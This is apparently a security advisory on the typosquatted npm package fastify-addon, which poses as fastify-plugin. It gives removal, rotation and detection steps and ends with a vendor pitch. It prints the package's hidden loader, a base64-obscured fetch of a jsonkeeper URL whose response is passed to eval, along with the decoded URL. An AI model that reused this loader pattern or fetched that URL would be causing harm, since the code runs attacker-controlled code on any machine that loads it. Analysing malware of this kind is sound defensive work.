Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall fastify-addon

What this malware does

fastify-addon is a typosquat of the legitimate fastify-plugin package. Its package.json sets repository, bugs, and homepage to github.com/fastify/fastify-plugin (an unrelated upstream project), and the README replicates fastify-plugin's API to deceive installers. On require, lib/getPluginName.js (loaded transitively from the package main plugin.js) executes a top-level statement that fetches a base64-hidden URL (https://www.jsonkeeper.com/b/UBMJA, decoded from atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==')) and passes the response's.content field directly to eval: fetch(atob(...)).then(r=>r.json()).then(d=>{eval(d.content)}). The destination is a mutable third-party JSON paste host, so the executed payload is attacker-controlled and can change at any time. Any process that requires fastify-addon will run whatever JavaScript the attacker currently hosts at that URL, with full access to the consumer's environment, credentials, and filesystem.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for fastify-addon (version 5.1.0).

  2. If you installed it — respond

    fastify-addon is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If fastify-addon was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. fastify-addon on npm has been identified as a malicious package (version 5.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Detect & block this

O3 blocks fastify-addon-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
